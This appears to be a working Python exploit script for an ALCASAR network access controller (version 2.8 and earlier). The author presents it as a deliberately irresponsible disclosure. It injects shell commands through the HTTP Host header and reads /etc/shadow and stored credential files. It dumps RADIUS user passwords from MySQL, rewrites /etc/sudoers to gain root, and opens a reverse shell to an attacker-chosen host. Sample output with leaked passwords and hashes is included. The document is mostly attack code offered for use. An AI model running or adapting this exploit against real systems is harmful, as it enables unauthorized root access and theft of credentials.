1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 |
#!/usr/bin/env python # -*- coding: utf-8 -*- # #### # #ALCASAR <= 2.8 Remote Root Code Execution Vulnerability # #Author: eF #Date: 2014-02-10 # # #db 88 ,ad8888ba, db ad88888ba db 88888888ba # d88b88d8"'<code>"8b d88b d8" "8b d88b88"8b #d8'</code>8b 88 d8'd8'<code>8bY8,d8'</code>8b 88,8P # d8'<code>8b88 88d8'</code>8b <code>Y8aaaaa, d8'</code>8b88aaaaaa8P' #d8YaaaaY8b 88 88 d8YaaaaY8b<code>"""""8b,d8YaaaaY8b 88""""88' # d8""""""""8b88 Y8, d8""""""""8b </code>8b d8""""""""8b88<code>8b #d8'</code>8b 88Y8a..a8Pd8'<code>8bY8a a8Pd8'</code>8b 88 <code>8b # d8'</code>8b88888888888<code>"Y8888Y"'d8'</code>8b"Y88888P"d8'<code>8b88</code>8b # # # ALCASAR is a free Network Access Controller which controls the Internet # consultation networks. It authenticates, attributes and protects users' # access regardless their connected equipment (PC, Pokédex, game console, # etc.). # # # ALCASAR Web UI, accessible by any unauthenticated user, suffers from a # trivial vulnerability. In the "index.php" file: # # $pattern = preg_replace('/www./','',$_SERVER['HTTP_HOST']); # exec("grep -Re ^$pattern$ /etc/dansguardian/lists/blacklists/*/domains|cut -d'/' -f6", $output); # # By sending a specially crafted value in the "host" HTTP header, it is possible # to inject the exec() function in order to execute commands as Apache user. # # In addition, the Apache user is able to call sudo for these binaries: # # /sbin/ip,/sbin/arping,/sbin/arp,/usr/sbin/arpscan,/usr/sbin/tcpdump,/usr/local/bin/alcasar-watchdog.sh,/usr/local/sbin/alcasar-dhcp.sh # /usr/local/bin/alcasar-conf.sh # /usr/local/sbin/alcasar-mysql.sh # /usr/local/sbin/alcasar-bl.sh,/usr/local/sbin/alcasar-havp.sh,/usr/local/bin/alcasar-file-clean.sh,/usr/local/sbin/alcasar-url_filter.sh # /usr/local/sbin/alcasar-nf.sh,/usr/local/bin/alcasar-iptables.sh,/usr/sbin/ipset # /usr/local/bin/alcasar-archive.sh # /usr/bin/radwho,/usr/sbin/chilli_query # /usr/local/sbin/alcasar-logout.sh # /sbin/service,/usr/bin/killall,/sbin/chkconfig,/bin/systemctl # /usr/bin/openssl # # As a result, we can use /usr/bin/openssl to read a file as root: # # sudo /usr/bin/openssl base64 -in /etc/shadow -A | base64 -d # # Or to create or overwrite files as root (create a cron job, edit /etc/sudoers, etc.): # # echo cHduZWQK | sudo /usr/bin/openssl base64 -d -out /etc/cron.d/pwned # # In this exploit, I choose to modify the "sudoers" file. # # Note: this vulnerability has been discovered in less than 30 seconds. # Others vulnerabilities are still present. This code has never been audited... # The PHP code is dreadful and needs to be rewritten from scratch. # # Example (post-auth) in file acc/admin/activity.php: # # if (isset($_POST['action'])){ # switch ($_POST['action']){ #case 'user_disconnect' : # exec ("sudo /usr/sbin/chilli_query logout $_POST[mac_addr]"); # # # This is not a responsible disclosure coz' I have no sense of ethics and I couldn't care less. # # # % python alcasar-2.8_rce.py alcasar.localdomain "alcasar-version.sh" # # [+] Hello, first here are some passwords for you: # Password to protect the boot menu (GRUB) : cV9eEz1g # Name and password of Mysql/mariadb administrator : root / FvYPr7b3 # Name and password of Mysql/mariadb user : radius / oRNln64j # Shared secret between the script 'intercept.php' and coova-chilli : b9Rj34jz # Shared secret between coova-chilli and FreeRadius : 7tIrnkJu # # root:$2a$08$Aw4yIxQIUJ0taDjiXKSRYu6zZB5eUcbZ4445vo1157AdeGSfe1XuC:16319:0:99999:7::: # # [...] # # admin:alcasar.localdomain:49b8642b4646a4afa38cda065f76ce0e # # usernamevalue # user$1$passwd$qr0Ajhr12fZ475a2qAZ.H. # # [-] whoami (should be apache): # uid=495(apache) gid=492(apache) groups=492(apache) # # [+] On the way to the uid 0... # [-] Got root? # uid=0(root) gid=0(root) groups=0(root) # # [+] Your command Sir: # The Running version (2.8) is up to date # # #### import sys, os, re, httplib class PWN_Alcasar: def __init__(self, host): self.host = host self.root = False def exec_cmd(self, cmd, output=False): tag = os.urandom(4).encode('hex') cmd = 'bash -c "%s" 2>&1' % cmd.replace('"', '\\"') if self.root: cmd = 'sudo %s' % cmd headers = { 'host' : 'aAaAa index.php;echo %s;echo %s|base64 -d -w0|sh|base64 -w0;#' % (tag, cmd.encode('base64').replace('\n','')) } c = httplib.HTTPConnection(self.host) c.request('GET', '/index.php', '', headers) r = c.getresponse() data = r.read() c.close() if data.find(tag) != -1: m = re.search(r'%s, (.*)\s</div>' % tag, data) if m: data = m.group(1).decode('base64') if output: print data return data return None def read_file(self, filepath, output=True): return self.exec_cmd('sudo openssl base64 -in %s -A|base64 -d' % filepath, output=output) def read_passwords(self): self.read_file('/root/ALCASAR-passwords.txt') self.read_file('/etc/shadow') self.read_file('/usr/local/etc/digest/key_all') self.read_file('/usr/local/etc/digest/key_admin') self.read_file('/usr/local/etc/digest/key_backup') self.read_file('/usr/local/etc/digest/key_manager') self.read_file('/usr/local/etc/digest/key_only_admin') self.read_file('/usr/local/etc/digest/key_only_backup') self.read_file('/usr/local/etc/digest/key_only_manager') alcasar_mysql = self.read_file('/usr/local/sbin/alcasar-mysql.sh', output=False) if alcasar_mysql: m = re.search(r'radiuspwd="(.*)"', alcasar_mysql) if m: radiuspwd = m.group(1) sql = 'SELECT username,value FROM radcheck WHERE attribute like \'%%password%%\'' self.exec_cmd('mysql -uradius -p\"%s\" radius -e "%s"' % (radiuspwd, sql), output=True) def edit_sudoers(self): self.exec_cmd('sudo openssl base64 -in /etc/sudoers -out /tmp/sudoers.b64') self.exec_cmd('openssl base64 -d -in /tmp/sudoers.b64 -out /tmp/sudoers') self.exec_cmd('sed -i s/BL,NF/BL,ALL,NF/g /tmp/sudoers') self.exec_cmd('sudo openssl base64 -in /tmp/sudoers -out /tmp/sudoers.b64') self.exec_cmd('sudo openssl base64 -d -in /tmp/sudoers.b64 -out /etc/sudoers') self.exec_cmd('sudo rm -f /tmp/sudoers*') self.root = True def reverse_shell(self, rip, rport='80'): payload = 'import socket,subprocess,os;' payload += 's=socket.socket(socket.AF_INET,socket.SOCK_STREAM);' payload += 's.connect((\'%s\',%s));' % (rip, rport) payload += 'os.dup2(s.fileno(),0);' payload += 'os.dup2(s.fileno(),1);' payload += 'os.dup2(s.fileno(),2);' payload += 'p=subprocess.call([\'/bin/sh\',\'-i\']);' return self.exec_cmd('python -c "%s"' % payload) def usage(): print 'Usage: %s host command (ip) (port)' % sys.argv[0] print ' "command" can be a shell command or "reverseshell"' sys.exit(0) if __name__ == '__main__': if len(sys.argv) < 3: usage() cmd = sys.argv[2] if cmd == 'reverseshell': if len(sys.argv) < 5: print '[!] Need IP and port for the reverse shell...' sys.exit(0) rip = sys.argv[3] rport = sys.argv[4] # 80 is a good one... exploit = PWN_Alcasar(sys.argv[1]) print '[+] Hello, first here are some passwords for you:' exploit.read_passwords() print '[-] whoami (should be apache):' exploit.exec_cmd('id', output=True) print '[+] On the way to the uid 0...' exploit.edit_sudoers() print '[-] Got root?' exploit.exec_cmd('id', output=True) if cmd == 'reverseshell': print '[+] You should now have a shell on %s:%s' % (rip, rport) exploit.reverse_shell(rip, rport) else: print '[+] Your command Sir:' exploit.exec_cmd(cmd, output=True) sys.exit(1) |